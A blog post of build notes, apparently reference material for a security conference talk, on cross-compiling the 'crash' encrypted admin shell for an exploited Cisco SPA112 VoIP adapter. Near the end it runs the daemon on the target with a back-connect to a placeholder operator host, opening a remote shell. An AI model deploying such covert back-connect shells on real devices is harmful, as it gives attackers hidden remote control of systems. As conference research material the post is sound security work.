This post is largely my notes from getting all this working, you hopefully can follow along at home.
This is part of the "Supporting/Reference Material" I'm publishing in advance of my talk at BSides Basingstoke in July 2023 about exploiting the Cisco SPA112 (and its friends).
Ok, here goes. Cross compiling Crash for anything statically is a bit of a ballache.
Not because of Crash, but because of OpenSSL. There are a lot of notes out there about cross compiling OpenSSL statically for various things, some of them even work. Many do not.
We chose to use OpenSSL 1.1.1t and some pre-made musl toolchains for this. We will be building crash for both ARM and x86 so you have target side, and operator side binaries to use.
There are better ways to do this, but again, this is a dump of notes on what worked for me.
First, lets grab all the moving parts, make some directories, put some shit in the directories, etc.
mkdir crash_cross cd crash_cross git clone https://github.com/stealth/crash crash_x86 git clone https://github.com/stealth/crash crash_arm wget https://musl.cc/arm-linux-musleabi-cross.tgz wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1t.tar.gz cp openssl-1.1.1t.tar.gz crash_x86 cp openssl-1.1.1t.tar.gz crash_arm rm openssl-1.1.1t.tar.gz
We will try build the x86 version statically first. We start with the absolute shitfest that is compiling OpenSSL.
cd crash_x86 tar -xf openssl-1.1.1t.tar.gz wget https://musl.cc/i686-linux-musl-cross.tgz tar -xf i686-linux-musl-cross.tgz cd openssl-1.1.1t/ ./Configure linux-generic32 shared -DL_ENDIAN --prefix=`pwd` --openssldir=`pwd` make CC=/home/user/crash_cross/crash_x86/i686-linux-musl-cross/bin/i686-linux-musl-gcc RANLIB=/home/user/crash_cross/crash_x86/i686-linux-musl-cross/bin/i686-linux-musl-gcc-ranlib LD=/home/user/crash_cross/crash_x86/i686-linux-musl-cross/bin/i686-linux-musl-ld MAKEDEPPROG=/home/user/crash_cross/crash_x86/i686-linux-musl-cross/bin/i686-linux-musl-gcc PROCESSOR=i686 cd ..
Now once that has done spewing forth a load of garbage output, we probably have a working OpenSSL build. We won't test it, it seemed to finish building without errors, we will simply back away slowly, as if it were some kind of dangerous animal. Which OpenSSL is.
We can proceed to attempting to make ourselves a copy of crash.
First we fix the makefile. Here is the diff.
$ diff Makefile.old Makefile 8c8 < CXXFLAGS= --- > CXXFLAGS=-static 15c15 < #SSL=/opt/ssl/libressl-3.7.0 --- > SSL=/home/user/crash_cross/crash_x86/openssl-1.1.1t 31c31 < CXX?=c++ --- > CXX=/home/user/crash_cross/crash_x86/i686-linux-musl-cross/bin/i686-linux-musl-g++ 34c34 < CXXFLAGS+=-Wall -O2 -std=$(CXXSTD) -pedantic $(INC) $(DEFS) --- > CXXFLAGS+=-Wall -Os -static -std=$(CXXSTD) -pedantic $(INC) $(DEFS) 37c37 < LDFLAGS=-lpthread --- > LDFLAGS=-lpthread -static
The ? in the CXX needs to go, and we need to actually define our compiler very specifically.
Running make, and it ... It makes executables. Well shit.
The executables even seem to work absolutely fine.
Now we proceed on the path of pain, and cross compile OpenSSL for ARM. This took about an hour of blood, sweat, and tears to get the correct incantations. Every single time I do this, I have to figure it out from scratch. It ended up being simpler than I thought, somehow.
cd crash_arm tar -xf openssl-1.1.1t.tar.gz mv ../arm-linux-musleabi-cross.tgz . tar -xf arm-linux-musleabi-cross.tgz cd openssl-1.1.1t/ ./Configure linux-armv4 shared -DL_ENDIAN --prefix=`pwd` --openssldir=`pwd` make CC=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-gcc RANLIB=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-gcc-ranlib LD=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-ld MAKEDEPPROG=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-gcc PROCESSOR=arm CROSS_COMPILE=arm-linux-gcc AR=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-ar
At this point, we might... Just might be getting close. Everything seems to be going rather swimmingly.
We go into the crash src directory.
We edit the makefile, here is the diff.
$ diff Makefile Makefile.old 6,8c6,8 < INC= < LIBS= < CXXFLAGS=-static --- > INC= > LIBS= > CXXFLAGS= 15c15 < SSL=/home/user/crash_cross/crash_arm/openssl-1.1.1t --- > #SSL=/opt/ssl/libressl-3.7.0 18c18 < LIBS+=-lssl -lcrypto -static -Wl,--rpath=$(SSL)/lib -Wl,--rpath=$(SSL)/lib64 --- > LIBS+=-lssl -lcrypto -Wl,--rpath=$(SSL)/lib -Wl,--rpath=$(SSL)/lib64 31c31 < CXX=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-g++ --- > CXX?=c++ 34c34 < CXXFLAGS+=-Wall -Os -static -std=$(CXXSTD) -pedantic $(INC) $(DEFS) --- > CXXFLAGS+=-Wall -O2 -std=$(CXXSTD) -pedantic $(INC) $(DEFS) 36,37c36,37 < LIBS+=-L$(SSL) -L$(SSL) < LDFLAGS=-lpthread -static --- > LIBS+=-L$(SSL)/lib -L$(SSL)/lib64 > LDFLAGS=-lpthread 39c39 < STRIP=/home/user/crash_cross/crash_arm/arm-linux-musleabi-cross/bin/arm-linux-musleabi-strip --- > STRIP=strip
After running make, we are in a curious situation. We have the binary, but it... It scares me. Its a dynamic executable, supposedly, but its acting static.
$ file crashd crashd: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped $ ldd ./crashd not a dynamic executable $ objdump -p ./crashd | grep NEEDED
Fuck it, lets ship it over to our target, and see if it runs.
# uname -a Linux SPA112 126.96.36.199 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown # ./crashd -h crypted admin shell (C) 2022 Sebastian Krahmer https://github.com/stealth/crash ./crashd: unrecognized option: h Usage: ./crashd [-U] [-q] [-a] [-6] [-D] [-H host] [-p port] [-A auth keys] [-k server key-file] [-c server X509 certificate] [-P port] [-S SNI] [-t trigger-file] [-m trigger message] [-e] [-g good IPs] [-N] [-w] -a -- always login if authenticated, despite false/nologin shells -U -- run as user (e.g. turn off setuid() calls) if invoked as such -e -- extract key and certfile from the binary itself (no -k/-c needed) -q -- quiet mode, turns off logging and utmp entries -6 -- use IPv6 rather than IPv4 -w -- wrap around PID to appear in system PID space (must be last arg!) -H -- host to connect to; if omitted: passive connect (default) -p -- port to connect/listen to; default is 2222 -P -- local port used in active connects (default is no bind) -g -- file containing list of good IP/IP6's in D/DoS case (default off) -A -- authorized-key file for users if starts with '/'; folder inside ~ containing authorized_keys file otherwise; 'self' means to use blob-extraction (see -e); default is .crash -k -- servers key file; default is ./serverkey.priv -c -- X509 certificate-file that belongs to serverkey (-k); default is ./serverkey.pub -t -- watch triggerfile for certain message (-m) before connect/listen -m -- wait with connect/listen until message in file (-t) is seen -N -- disable TCP/UDP port forwarding -D -- use DTLS transport (requires -S) -S -- SNI to hide behind #
It runs. So, we spend the next ten minutes trying to get a backconnect working, and its a touch fiddly because I am bad at reading manuals properly, apparently, but eventually, eventually we find the correct incantation.
We must now run "make keys" to make some keys. You will need to transfer "server.pub", "server.priv", and "authkey.pub" to the target.
Do not drop authkey.priv on your target - that is a key we actually care about. The server.pub and server.priv keys are to authenticate the server, if you choose to use hostkey pinning. Which we don't in this example.
On our listener, we run:
~/crash_cross/crash_arm/src$ ../../crash_x86/src/crashc -v -K none -i ./authkey.priv -p 6969 -l admin crypted admin shell (C) 2022 Sebastian Krahmer https://github.com/stealth/crash crashc: starting crypted administration shell crashc: connecting to :6969 ... Enter PEM pass phrase:
Enter your PEM passphrase.
Now, over on our target, we run:
# ./crashd -A /tmp/authkey.pub -U -H OUR-LP-SERVER -p 6969 -c /tmp/serverkey.pub -k /tmp/serverkey.priv crypted admin shell (C) 2022 Sebastian Krahmer https://github.com/stealth/crash #
The full paths are really important here, due to how fopen works.
Over on the listening side...
The fruit of our labours.
We can probably make the executables smaller, and there are better ways to do this using Buildroot, Qemu or some such.
A future project will be automating these builds so I can have a CI/CD job that just emits fresh bins and keys on demand, but that is a problem for future me to document, when I bother setting up CI/CD at home again.